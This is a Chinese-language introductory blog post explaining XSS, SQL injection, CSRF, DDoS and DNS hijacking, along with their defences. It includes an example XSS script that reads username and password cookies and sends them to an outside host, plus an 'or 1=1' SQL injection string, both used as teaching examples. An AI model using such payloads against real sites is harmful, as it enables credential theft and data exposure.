写点什么

一文搞懂│XSS 攻击、SQL 注入、CSRF 攻击、DDOS 攻击、DNS 劫持

作者:极客飞兔
  • 2022 年 7 月 26 日
  • 本文字数:1845 字

    阅读完需:约 6 分钟

一文搞懂│XSS攻击、SQL注入、CSRF攻击、DDOS攻击、DNS劫持

🎈 XSS 攻击

  • 全称跨站脚本攻击 Cross Site Scripting

  • 为了与重叠样式表 CSS 进行区分,所以换了另一个缩写名称 XSS

  • XSS攻击者通过篡改网页,注入恶意的 HTML 脚本,一般是 javascript,在用户浏览网页时,控制用户浏览器进行恶意操作的一种攻击方式

  • XSS 攻击经常使用在论坛,博客等应用中。攻击者可以偷取用户Cookie、密码等重要数据,进而伪造交易、盗取用户财产、窃取情报

xss教学


  • 就像上图,如果用户在评论框中输入的并不是正常的文本,而是一段 javascript 脚本,而后台又没对该用户的数据进行处理,直接存入数据库,那么当其他用户访问了该页面,必然会执行这段脚本

  • 当然这只是恶趣味,而真正的黑客并不会仅仅满足这样的恶趣味,可能更多的是想通过这些 注入脚本,获取你的 个人信息

xss攻击


  • 由上图可知,用户其实在评论的时候,引入了一个第三方脚本,在这个脚本中获取你浏览器的 cookie 信息,并发送到指定的接口进行保存处理,这样你的信息就已经泄露了

// attack.js 中的逻辑var uname = $.cookie('username'); // 获取账号var pwd = $.cookie('password'); // 获取密码
// 发送请求$('body').appendTo('<script src=`http://autofelix.com/index.php?username=${uname}&password=${pwd}`></script>');
复制代码


  • 在上面逻辑中,脚本中获取了你的个人信息,并将你的个人信息发送到 php 文件中进行处理保存,这样你的个人信息就已经泄露了

  • 所以后端在接收用户提交的信息时候,要进行 消毒处理,也就是过滤一些特殊的字符,比如 javascript 脚本中的 <> 进行转移 \<\> 再进行存储,这样就能有效的进行 xss 攻击的预防

  • 另外如果 cookie 中设置了 HttpOnly 属性,那么通过 js 脚本将无法读取到cookie 信息,这样也能有效的防止 XSS 攻击窃取 cookie 内容

xss攻击原理


🎈 SQL 注入

  • SQL注入 攻击指的是攻击者在 HTTP 请求中注入恶意 SQL 命令,服务器用请求参数构造数据库 SQL 命令时,恶意 SQL 被一起构造,并在数据库中执行,以便得到数据库中的感兴趣的数据或对数据库进行读取、修改、删除、插入等操作,从而中招

  • SQL注入 攻击,需要攻击者对数据库表有所了解才行,比如你的项目 开源 了,数据库是公开的;另外你的网站上线没有 关闭调试模式,根据错误回显可以猜测表结构;还有就是 盲注,也即是盲猜数据表结构,这种难度最大

  • SQL注入 可以通过预编译手段,绑定参数是最好的防 SQL 注入方法。现在的框架基本都实现了 SQL预编译参数绑定,恶意攻击的 SQL 会被当做 SQL 的参数,而不是 SQL 命令被执行

# 正常获取用户信息的sqlselect * from users where id=1
# sql注入了 1 or 1=1,就可以把用户表中的所有数据全部查出,导致数据泄露select * from users where id=1 or 1=1
复制代码


SQL注入原理


🎈 CSRF 攻击

  • CSRF 全称 Cross Site Request Forgery,跨站点请求伪造,攻击者通过跨站请求,以合法的用户身份进行非法操作,如转账交易、发表评论等。其核心是利用了浏览器 Cookie 或服务器的 Session 策略,盗取用户身份

  • 在打开 A网站 的情况下,另开 Tab页面 打开恶意 网站B,此时在 B页面唆使下,浏览器发起一个对 网站AHTTP 请求

  • 因为之前 A网站 已经打开了,浏览器存有 A网站 中的 Cookie 或其他用于身份认证的信息,这一次被 唆使 的请求,将会自动带上这些信息,将会导致身份劫持,造成并非本人意愿的操作

  • 而对应的防御策略有:表单token验证码Referer检测

CSRF攻击原理


🎈 DDOS 攻击

  • DDoS 全称 Distributed Denial of Service,分布式拒绝服务攻击。是拒绝服务攻击的升级版。拒绝攻击服务就是让服务不可用。常用于攻击对外提供服务的服务器,像常见的:Web服务邮件服务DNS服务即时通讯服务

  • 在早期发起 DoS攻击 是一件很容易的事情,只需要写个程序让服务过载,无暇提供正常服务即可

  • 后来随着技术对发展,现在的服务器都是分布式,并不是单一服务器提供服务,一个服务背后拥有着是数不清的 CDN节点,也是就数不清的Web服务器。想靠单台服务器去攻击这种分布式网络,无异于对方以卵击石

  • 防御手段:技术发展到现在也并不能完全杜绝这种攻击的出现,只能通过技术去环节。其中包括:流量清洗SYN Cookie等等

DDoS攻击


🎈 DNS 劫持

  • 当今互联网流量中,以 HTTP/HTTPS 为主的 Web服务 产生的流量占据了绝大部分。Web服务 发展的如火如荼,这背后离不开一个默默无闻的大功臣就是域名解析系统

  • 正是因为它的重要性,所以 DNS劫持 很容易被别有用心的人利用

  • DNS提供域名转换成 ip地址 的服务,早期并没有考虑太多的安全性,后来出现了 DNSSEC 技术,虽然在一定程度上解决了劫持问题,但是国内并没有太多应用的案例,因此后来阿里、腾讯推出了 httpDNS 服务

DNS劫持原理


发布于: 刚刚阅读数: 4
用户头像

极客飞兔

关注

腾讯 2021.03.22 加入

毕业于全国重点大学,CSDN博客专家、阿里云技术专家、华为云云享专家、北极代码库贡献者、github开发者计划成员、任职国内知名游戏公司

评论

发布
暂无评论
一文搞懂│XSS攻击、SQL注入、CSRF攻击、DDOS攻击、DNS劫持_网络安全_极客飞兔_InfoQ写作社区